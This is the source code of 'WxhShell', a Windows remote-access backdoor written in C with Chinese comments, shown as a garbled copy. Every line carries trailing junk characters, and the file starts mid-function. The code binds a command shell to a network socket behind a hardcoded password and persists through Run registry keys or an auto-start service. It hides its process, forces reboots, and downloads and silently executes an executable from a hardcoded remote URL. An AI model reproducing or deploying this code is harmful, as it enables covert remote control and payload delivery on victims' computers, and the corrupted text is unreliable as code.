    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K'>P!R:El  
    if(Boot(SHUTDOWN)) @WMj^t1D+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Sd+"3M  
    else { ?*B;514  
    closesocket(wsh); )G}sb*+v?  
    ExitThread(0); J(H??9(s  
    } {mKpD  
    break; FjK Ke7  
    } =MQ2sb  
  // 获取shell X20<r?^,,  
  case 's': { :7zI3Ml@7  
    CmdShell(wsh); 1c1e+H  
    closesocket(wsh); BBaHM sr  
    ExitThread(0); B3ohHxHu  
    break; @ J?-a m>  
  } F#zQQ)(Pf  
  // 退出 i4 y(H  
  case 'x': { Lh8# I&x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PX+"" #  
    CloseIt(wsh); p\4h$."  
    break; NZC<m$')  
    } U"jUMOMZ;  
  // 离开 <m|FccvQ  
  case 'q': { XRX7qo(0g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t!+%g) @  
    closesocket(wsh); M%nZu{  
    WSACleanup(); #d7)$ub  
    exit(1); zIX}[l4EW~  
    break; 8' WLm  
        } ^hGZVGSv  
  } LNsE7t  
  } D/ NIn=>j  
ur,V>J<5A  
  // 提示信息 gK]T}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Q^G6'(SaK  
} \`p|,j  
  } v= 8~ZDY  
q[We][Nrzb  
  return; 5VY%o8xXa  
} -NI@xJO4(;  
HzFt  
// shell模块句柄 m-&a~l  
int CmdShell(SOCKET sock) (RI>aDG RH  
{ Lt#:R\;&  
STARTUPINFO si; btkMY<o7  
ZeroMemory(&si,sizeof(si)); j:\_*f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 8ls 4v3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bN<O<x1j  
PROCESS_INFORMATION ProcessInfo; ,sy / r V  
char cmdline[]="cmd"; \f<thd*bC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *axza~d  
  return 0; *1;L,*J"|  
} d3\l9R{}  
 t}* qs  
// 自身启动模式 QvyUd%e'5A  
int StartFromService(void) {BwN4r46  
{ _3g %F  
typedef struct :W1tIB  
{ 1dXO3hot  
  DWORD ExitStatus; \t 7zMp  
  DWORD PebBaseAddress; TO;]9`~;Mu  
  DWORD AffinityMask; 3mnLV*aRt  
  DWORD BasePriority; J>&dWKM3  
  ULONG UniqueProcessId; d&3I>E$UP  
  ULONG InheritedFromUniqueProcessId; hKH Q!`&v  
}   PROCESS_BASIC_INFORMATION; Qr xO erp  
yp7,^l  
PROCNTQSIP NtQueryInformationProcess; Phjf$\pt  
[eTck73  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pQ6t]DJ4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vb4G_X0S  
4$#ia F  
  HANDLE             hProcess; SJY"]7  
  PROCESS_BASIC_INFORMATION pbi; 1tK6lrhj  
d#$i/&gE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FCw VVF0 y  
  if(NULL == hInst ) return 0; 2* cKFv{  
u9[w~U#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @a{v>)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6CzvRvA*P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }j5@\c48  
A'P}mrY  
  if (!NtQueryInformationProcess) return 0; R,k[Kh  
~S<F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [&k& $04_  
  if(!hProcess) return 0; 1\9BO:<K  
{:q9:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #'{PY r  
laIC}!  
  CloseHandle(hProcess); PT5ni6  
fn"jYSy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9\;/-0P  
if(hProcess==NULL) return 0; "{1}  
gB'Ah-@,P  
HMODULE hMod; '}[L sU  
char procName[255]; 4pHPf<6  
unsigned long cbNeeded; k?*DBXJv  
=u1w\>(2Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,)\5O0 D6  
1x5CsmS  
  CloseHandle(hProcess); L.~]qs|G/K  
7D1`^,?  
if(strstr(procName,"services")) return 1; // 以服务启动 X0J]6|du.  
mJ#B<I'  
  return 0; // 注册表启动 j~<iTLM  
} *d*;M>  
nJ`a1L{N  
// 主模块 \< +47+  
int StartWxhshell(LPSTR lpCmdLine) 4%.2 =  
{ yeh adm\  
  SOCKET wsl; k*+ZLrT  
BOOL val=TRUE; oXOO 10  
  int port=0; 4Og GZ  
  struct sockaddr_in door; in|7ucSlg  
At_Y$N:  
  if(wscfg.ws_autoins) Install(); s)ajy^6'M  
1$!K2=%OXj  
port=atoi(lpCmdLine); MnsWB[  
pt;Sk?-1  
if(port<=0) port=wscfg.ws_port; Z["nY&.sI  
~5?n&pF  
  WSADATA data; D&lXi~Z%.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,Onm!LI=  
lfG&V +S1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wtick~)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [~%;E[ky$  
  door.sin_family = AF_INET; V$%Fs{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?;QKe0I^  
  door.sin_port = htons(port); =1B&d[3;  
E MbI\=>yS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `v+O5  
closesocket(wsl); [ ESQD5&  
return 1; "4- Nnm  
} OnPLz"-  
ue2nfp  
  if(listen(wsl,2) == INVALID_SOCKET) { u,k8i:JY  
closesocket(wsl); m!>'}z  
return 1; bWzc=03  
} -m-WUox4"  
  Wxhshell(wsl); t|XC4:/>T  
  WSACleanup(); R$3+ 01j|  
d-2I_ )9  
return 0; qMj e,Y  
e?fjX-  
} I z@x^s  
FnU;n  
// 以NT服务方式启动 nff]Y$FB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q\=[v  
{ B{u.Yc:  
DWORD   status = 0; F?4'>ZW  
  DWORD   specificError = 0xfffffff; *qOCo_=P8  
;a77YL TQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z ' 96d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <qiap2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nUu|}11(  
  serviceStatus.dwWin32ExitCode     = 0; AH,F[ vS  
  serviceStatus.dwServiceSpecificExitCode = 0; wB GxJ\+M  
  serviceStatus.dwCheckPoint       = 0; b%$C!Tq'  
  serviceStatus.dwWaitHint       = 0; 9~ af\G  
Za?&\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~1!kU 4  
  if (hServiceStatusHandle==0) return; : s3Vl  
M57(,#g  
status = GetLastError(); \'b- ;exH  
  if (status!=NO_ERROR) Darkj>$\  
{ c9={~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,~w)@.  
    serviceStatus.dwCheckPoint       = 0; <C xet~x  
    serviceStatus.dwWaitHint       = 0; sP8B?Tn1W  
    serviceStatus.dwWin32ExitCode     = status; Q)8t;Kx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4h(Hy&1C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (q7mzZY  
    return; 9)X<}*(qo  
  } 4\RuJx  
q>Y[.c-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ddxv.kIj.  
  serviceStatus.dwCheckPoint       = 0; mY9K)]8  
  serviceStatus.dwWaitHint       = 0; HN)QS5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &*-2k-16  
} 3 g&mND  
k$/].P*!  
// 处理NT服务事件,比如:启动、停止 7Kjq1zl;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ('oUcDOFTS  
{ 85]UrwlA4  
switch(fdwControl) g?sFmD  
{ HB:i0m2fJW  
case SERVICE_CONTROL_STOP: omu&:) g  
  serviceStatus.dwWin32ExitCode = 0; o~ed0>D-LS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "f+2_8%s+  
  serviceStatus.dwCheckPoint   = 0; G}*B`m  
  serviceStatus.dwWaitHint     = 0; :4d7%q  
  { 9x\G(w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @TDcj~oR ?  
  } eU0-_3gN_  
  return; gw^+[}U#  
case SERVICE_CONTROL_PAUSE: TMBdneS-s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bHM .&4G  
  break; biD7(AK  
case SERVICE_CONTROL_CONTINUE: 95/C4q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xOlkG*3c  
  break; |Rc#Q<Vh|  
case SERVICE_CONTROL_INTERROGATE: PHkvt!uH  
  break; :h@:F7N _  
}; DSp@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AH+J:8k  
} ZWH`s  
4j5 "{  
// 标准应用程序主函数 HN+z7Q8hH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) th{h)( +H  
{ vP!gLN]TV  
;d4_l:9p  
// 获取操作系统版本 ;f\0GsA#  
OsIsNt=GetOsVer(); fx},.P=:*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); so*7LM?ib>  
q!4dK4`#5  
  // 从命令行安装 "]<Ut{Xb  
  if(strpbrk(lpCmdLine,"iI")) Install(); .xx9tP}Xy  
@B6[RZR  
  // 下载执行文件 ;uy/Vc5,Y  
if(wscfg.ws_downexe) { 3 0Z;}<)9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4kiu*T  
  WinExec(wscfg.ws_filenam,SW_HIDE); p5\b&~ g  
} l; 4F,iI  
?(z3/ "g]  
if(!OsIsNt) { !TcjB;q'  
// 如果时win9x,隐藏进程并且设置为注册表启动 o9CB ,c7]  
HideProc(); :BS`Q/<w  
StartWxhshell(lpCmdLine); J7H1<\=cJb  
} 4Hw8w7us:  
else R= l/EK  
  if(StartFromService()) W$W7U|Z9y+  
  // 以服务方式启动 [M.Vu  
  StartServiceCtrlDispatcher(DispatchTable); =B\ ?(  
else P7 n~Ui~U  
  // 普通方式启动 ]Q+Tm2{  
  StartWxhshell(lpCmdLine); X!m/I i$q  
ty ~U~  
return 0; ^t"\PpmK<d  
} ;]gph)2cd  
+J2=\YO  
VH/_0  
e>[QF+e)y  
=========================================== F 1BPzRo`  
\6o ~ i  
2 IGAZ%%  
p&7>G-.  
wXP1tM8T  
b |EZ;,i  
"  j%lW+ [%  
1.+MX(w  
#include <stdio.h> /)|*Vzu  
#include <string.h> ?/;<32cE,  
#include <windows.h> {YkW5zC(L  
#include <winsock2.h> Y!KGJ^.mF  
#include <winsvc.h> U7OW)tUf  
#include <urlmon.h> 1:-$mt_*  
%P?W^mI  
#pragma comment (lib, "Ws2_32.lib") `H\^#Zu  
#pragma comment (lib, "urlmon.lib") rHMsA|xz6  
t{$t3>p-t  
#define MAX_USER   100 // 最大客户端连接数 VB Ce=<  
#define BUF_SOCK   200 // sock buffer yCwQ0|  
#define KEY_BUFF   255 // 输入 buffer r8mE   
C@K@TfK!M  
#define REBOOT     0   // 重启 ex-`+cF  
#define SHUTDOWN   1   // 关机 )ZT&V I  
bH&[O`vf  
#define DEF_PORT   5000 // 监听端口 9khD7v   
c| E  
#define REG_LEN     16   // 注册表键长度 b.$Gc!g  
#define SVC_LEN     80   // NT服务名长度 ]R0^ }sI  
z*:^*,  
// 从dll定义API SwQb"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0%vXPlfnY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X _XqT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *NDzU%X8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mgS%YG  
) ~X\W\  
// wxhshell配置信息 %6 Bt%H  
struct WSCFG { ?!Y2fK=h0  
  int ws_port;         // 监听端口 &}rh+z  
  char ws_passstr[REG_LEN]; // 口令 D>05F,a  
  int ws_autoins;       // 安装标记, 1=yes 0=no UeE&rA]  
  char ws_regname[REG_LEN]; // 注册表键名 ,rQznE1e  
  char ws_svcname[REG_LEN]; // 服务名 \ ddbqg?`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uRJLSt9m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f ^z7K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R7+k=DI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (G:$/fK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8eL[ ,uw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]e R1 +Nl  
W*gu*H^s~  
}; \3x,)~m  
r%F{1.  
// default Wxhshell configuration ]ZZ7j  
struct WSCFG wscfg={DEF_PORT, <vOljo  
    "xuhuanlingzhe", HnrT;!C~  
    1, ?mnwD]u  
    "Wxhshell", 9MVW~ V  
    "Wxhshell", .hnGHX  
            "WxhShell Service", ^KmyB6Yg  
    "Wrsky Windows CmdShell Service", 6dV92:  
    "Please Input Your Password: ", ^qGH77#z  
  1, q f-1}  
  "http://www.wrsky.com/wxhshell.exe", mq >Ag  
  "Wxhshell.exe" g;Bq#/w  
    }; ^2XoYgv  
[p|-G*=00  
// 消息定义模块 's+ Fd~ '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sLPFeibof5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >(p "!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i e%ZX  
char *msg_ws_ext="\n\rExit."; n"$D/XJO  
char *msg_ws_end="\n\rQuit."; Cj,fP[p#7  
char *msg_ws_boot="\n\rReboot..."; g.Z>9(>;Y  
char *msg_ws_poff="\n\rShutdown..."; 9-I;'  
char *msg_ws_down="\n\rSave to "; P*Uu)mG)G  
e=QnGT*b5  
char *msg_ws_err="\n\rErr!"; /\(0@To  
char *msg_ws_ok="\n\rOK!"; mq do@  
tNoo3&  
char ExeFile[MAX_PATH]; /EA4-#uw  
int nUser = 0; P.=&:ay7?  
HANDLE handles[MAX_USER]; R@u6mMX{N,  
int OsIsNt; ;VNwx(1l`  
N_UZu  
SERVICE_STATUS       serviceStatus; -%NT)o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -aXV}ZY"  
Cir==7A0  
// 函数声明 zH.DyD5T;  
int Install(void); H@.j@l  
int Uninstall(void); J#!:Z8b  
int DownloadFile(char *sURL, SOCKET wsh); eOE7A'X   
int Boot(int flag); P BpjE}[Q  
void HideProc(void); `[2nxP>w`  
int GetOsVer(void); H'P1EZtq  
int Wxhshell(SOCKET wsl); R4%!W~K  
void TalkWithClient(void *cs); &1 {RuV&t  
int CmdShell(SOCKET sock); ,0[bzk  
int StartFromService(void); [j`It4^nC  
int StartWxhshell(LPSTR lpCmdLine); ZjF$zVk  
25NZIal<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y}R{A6X)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Jq1b210  
u yzc"d i  
// 数据结构和表定义 j]6 Z*AxQ  
SERVICE_TABLE_ENTRY DispatchTable[] = Y7zg  
{ D: NBb!   
{wscfg.ws_svcname, NTServiceMain}, 1>[3(o3t  
{NULL, NULL} m1heU3BUWU  
}; !-m (1  
 S`)KC-  
// 自我安装 p3M)gH=N  
int Install(void) QS4sSua  
{ 7  g8SK  
  char svExeFile[MAX_PATH]; F<M#T  
  HKEY key; ;$wS<zp6  
  strcpy(svExeFile,ExeFile); \f}S Hh  
T2AyQ~5~  
// 如果是win9x系统,修改注册表设为自启动 s7A{<>:  
if(!OsIsNt) { 7<<pP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U}x2,`PI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b'pbf  
  RegCloseKey(key); rbHrG<+7zO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {OL*E0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u-=S_e  
  RegCloseKey(key); >k,bHGj?  
  return 0; %M2.h;9]*\  
    } 2l}FOdq  
  } v7&e,:r2E@  
} |"8Az0[!  
else { lbZ,?wm  
j7K9T  
// 如果是NT以上系统,安装为系统服务 9OuK}Ssf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )l[<3< @s  
if (schSCManager!=0) @NWjYHM[`  
{ cKEf- &~  
  SC_HANDLE schService = CreateService E{[c8l2B  
  ( 16_HO%v->  
  schSCManager, 1mm/Ssw:C  
  wscfg.ws_svcname, *6s B$E_y  
  wscfg.ws_svcdisp, " ;_bB"q*  
  SERVICE_ALL_ACCESS, !@{_Qt1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^>gRK*,  
  SERVICE_AUTO_START, s3HwBA  
  SERVICE_ERROR_NORMAL, [u;]J*  
  svExeFile, kj~)#KDN  
  NULL, -==@7*x!Z  
  NULL, ~ ' 81  
  NULL, LyH8T'C~  
  NULL, p%EU,:I6  
  NULL *v)JX _  
  ); LzB)o\a  
  if (schService!=0) Tw/kD)u{  
  { g dT3,8`#[  
  CloseServiceHandle(schService); :~3sW< P R  
  CloseServiceHandle(schSCManager); .7++wo!,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O`~G'l&@T  
  strcat(svExeFile,wscfg.ws_svcname); VI,z7 \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JP)/ O!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C(Ujx=G+3  
  RegCloseKey(key); %Rj:r!XB:  
  return 0; \Si@t{`O  
    } 58,_  
  } . Y@)3  
  CloseServiceHandle(schSCManager); sqKLz  
} R 2.y=P8N  
} >|Xy'ZR  
3RYg-$NK[  
return 1; 1rhEk|pGZ  
} 8|9JJ<G7  
[):&R1U  
// 自我卸载 }Z^r<-N  
int Uninstall(void) RDFOUqS  
{ MqA%hlq  
  HKEY key; (t^&L  
NhP&sQO  
if(!OsIsNt) { %+>t @F,GM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t,CC~  
  RegDeleteValue(key,wscfg.ws_regname); =aL=SC+  
  RegCloseKey(key); 4KO2oIR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l~cT]Ep  
  RegDeleteValue(key,wscfg.ws_regname); A4kYE A  
  RegCloseKey(key); g 0=Q>TzY  
  return 0; [1Os.G2  
  } RU r0K#]  
} ?/EyfTex  
} fe,A\W&8  
else { T*m;G(  
{9 PeBc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sE,Q:@H5  
if (schSCManager!=0) ]7#@lL;'0  
{ ;t^8lC?>V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *jAw  
  if (schService!=0) ?AL;m.X-@  
  { GQU9UXe  
  if(DeleteService(schService)!=0) { p_K` `JE  
  CloseServiceHandle(schService); OJ2O?Te8  
  CloseServiceHandle(schSCManager); T~*L [*F0  
  return 0; mAI<zh&SQ  
  } YLEk M  
  CloseServiceHandle(schService); ."8bW^:  
  } xlJ8n+  
  CloseServiceHandle(schSCManager); 4sj:%% UE  
} f,e7;u z%  
} d;Uzl 1;  
9PpPAF  
return 1; L `7~~  
} 5>o<! 0g  
hH=H/L_Z  
// 从指定url下载文件 Q@7-UIV|q  
int DownloadFile(char *sURL, SOCKET wsh) (3H'!P7|~  
{ K >-)O=$s  
  HRESULT hr; 8Z^9r/%*Z  
char seps[]= "/"; )$h<9e  
char *token; s'4S,  
char *file; L`fDc  
char myURL[MAX_PATH]; hx'p0HDta  
char myFILE[MAX_PATH]; c[/h7!/aH  
`ViFY   
strcpy(myURL,sURL); B%|cp+/  
  token=strtok(myURL,seps); 71nI`.Z  
  while(token!=NULL) k"J [mT$b  
  { |_=o0l f  
    file=token; "`sr#  
  token=strtok(NULL,seps); FwdRM)1)  
  } D~KEjz!bQ  
H*l2,0&W  
GetCurrentDirectory(MAX_PATH,myFILE); Rf &~7h'+  
strcat(myFILE, "\\"); {}vB# !  
strcat(myFILE, file); dy4! >zxF  
  send(wsh,myFILE,strlen(myFILE),0); pH?tr  
send(wsh,"...",3,0); $;9zD11  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gC}r$ZB(  
  if(hr==S_OK) ?A[q/n:K  
return 0; AfzE0mBW  
else R'#[}s  
return 1; Ha U6`IP  
6[-N})  
} rPK)=[MZ  
$"+ahS<?tC  
// 系统电源模块 a0vg%Z@!  
int Boot(int flag) D6 2xC5  
{ 0?D`|x_  
  HANDLE hToken; \6UK:'5{  
  TOKEN_PRIVILEGES tkp; <i~MBy. (  
LuM[*_8  
  if(OsIsNt) { RHV& m()Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W9!EjXg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BE54^U  
    tkp.PrivilegeCount = 1; $6BD6\@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T.1*32cX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hf2Q;n&V  
if(flag==REBOOT) { @`qhQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Z>OAR#   
  return 0; `@8QQB  
} I8|7~jRB  
else { (lDbArqy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R$'0<y8E*]  
  return 0; #d+bld\  
} u$7o d$&S  
  } !n<vN@V*3d  
  else { <NV[8B#k]  
if(flag==REBOOT) { ;&|MNN^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]!yuD/4A  
  return 0; lyBae?%&  
} ?GdoB7(%  
else { 5*.JXx E;U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) beLT4~Z=  
  return 0; x|#R$^4CY  
} %3L4&W _T  
} Cr?|bDv}o  
BDW%cs  
return 1; `lAe2l^  
} ),#%jc2_^  
]>E)0<t  
// win9x进程隐藏模块 Zt3"4d4  
void HideProc(void) :'*;>P .(  
{ +RXKI{0Km  
0PiD<*EA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -O.q$D=as  
  if ( hKernel != NULL ) {+CW_ce  
  { -;5WMX 6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tI2V)i!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,e6n3]W8  
    FreeLibrary(hKernel); ,+0#.N s$  
  } f+#^Lngo  
rkdf htpI  
return; vbH?[ Zr?  
} $a'n{EP  
^gP pmb<x  
// 获取操作系统版本 eko$c,&jY  
int GetOsVer(void) qmNgEz%  
{ W4 v/,g>  
  OSVERSIONINFO winfo; 3v~804kWB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5F#Q1gP-  
  GetVersionEx(&winfo); nE$8-*BZ_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :bJT2o[  
  return 1; ;?-A 4!V,  
  else QWqEe|}6  
  return 0; zcF`Z {&+  
} r_m*$r~f  
Mf 7 Z5  
// 客户端句柄模块 ={HYwP;  
int Wxhshell(SOCKET wsl) &NvvaqJ  
{ iUNlNl ?  
  SOCKET wsh; a?_!  
  struct sockaddr_in client; ;+d2qbGd  
  DWORD myID; #$vQT}  
R07 7eX  
  while(nUser<MAX_USER) O$<m(~[S  
{ K9{]v=#I  
  int nSize=sizeof(client); fk*$}f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !bf8 r  
  if(wsh==INVALID_SOCKET) return 1; ^T(v4'7  
t0^chlJP$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p6UPP|-S  
if(handles[nUser]==0) qnFi./  
  closesocket(wsh); 7x 6q:4Ep\  
else PVK. %y9  
  nUser++; wH?r522`c  
  } kU*Fif  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tw<mZd2H  
>!o||Yn  
  return 0; CN7 2 E  
} KwEyMR!  
yeI((2L@E2  
// 关闭 socket Qn=#KS8=J  
void CloseIt(SOCKET wsh) eSAB :L,K  
{ A6ar@$MZ  
closesocket(wsh); &bh%>[  
nUser--; <=1nr@L  
ExitThread(0); H1!u1k1nl  
} 75>)1H)Xm  
/' +GYS  
// 客户端请求句柄 U|[+M@F_L  
void TalkWithClient(void *cs) &OK[n1M  
{  1rnbUE  
w$E8R[J~P  
  SOCKET wsh=(SOCKET)cs; u 2)#Ml  
  char pwd[SVC_LEN]; aPR0DZ@  
  char cmd[KEY_BUFF]; \=3fO(  
char chr[1]; _'CYS3-P3  
int i,j; J5i$D0K[  
C rA7lu'  
  while (nUser < MAX_USER) { w+^z{3>  
WUEjWJA-MB  
if(wscfg.ws_passstr) { ;v}f7v '  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G<dWh.|`=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \{g;|Z 1  
  //ZeroMemory(pwd,KEY_BUFF); y{Fq'w!ap  
      i=0; d9@Pze">e  
  while(i<SVC_LEN) { <1^\,cI2  
;+86q"&n  
  // 设置超时 f( %r)%  
  fd_set FdRead; 5V"Fy&}:  
  struct timeval TimeOut; >q+q];=(  
  FD_ZERO(&FdRead); [xm{4Ba2X  
  FD_SET(wsh,&FdRead); HB/q v IzB  
  TimeOut.tv_sec=8; tTX@Bb8  
  TimeOut.tv_usec=0; [,@gSb|D?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r~<I5MZY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Fw8V=Pw  
[ X7LV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +{eZ@  
  pwd=chr[0]; cH== OM7&-  
  if(chr[0]==0xd || chr[0]==0xa) { KNI* :  
  pwd=0; ?3=D-Xrb  
  break; GS<aXh k  
  } ~7kIe+V  
  i++; zi7>!#(  
    } ,JL Y oE+  
E#5$O2b#  
  // 如果是非法用户,关闭 socket Rt%3\?rf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E0SP  
} wZAY0@pA  
I: j!A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lZ\Si  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *8WcRx  
1cA4-,YO>  
while(1) { vk^/[eha  
(Lp$EC&%6  
  ZeroMemory(cmd,KEY_BUFF); ;z>?- j  
Z`W @Od$f  
      // 自动支持客户端 telnet标准   v/1&V+"^kd  
  j=0; ^GS,4[)H  
  while(j<KEY_BUFF) { %-A#7\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {}Q A#:V  
  cmd[j]=chr[0]; u'm[wjCj c  
  if(chr[0]==0xa || chr[0]==0xd) { ?E6*Ef  
  cmd[j]=0; N9|v%-_?)  
  break; o3s ME2  
  } ]<Ugg  
  j++; Q5!"tF p  
    } @2Spfj_e  
+W xZB  
  // 下载文件 =P,h5J  
  if(strstr(cmd,"http://")) { XBTtfl &  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {H\(H _X  
  if(DownloadFile(cmd,wsh)) ljS~>&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o<J_?7c~}  
  else |= xK-;qs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NHL -ll-R  
  } KX|7mr90K  
  else { =}8:zO 2'{  
GfG!CG^ %  
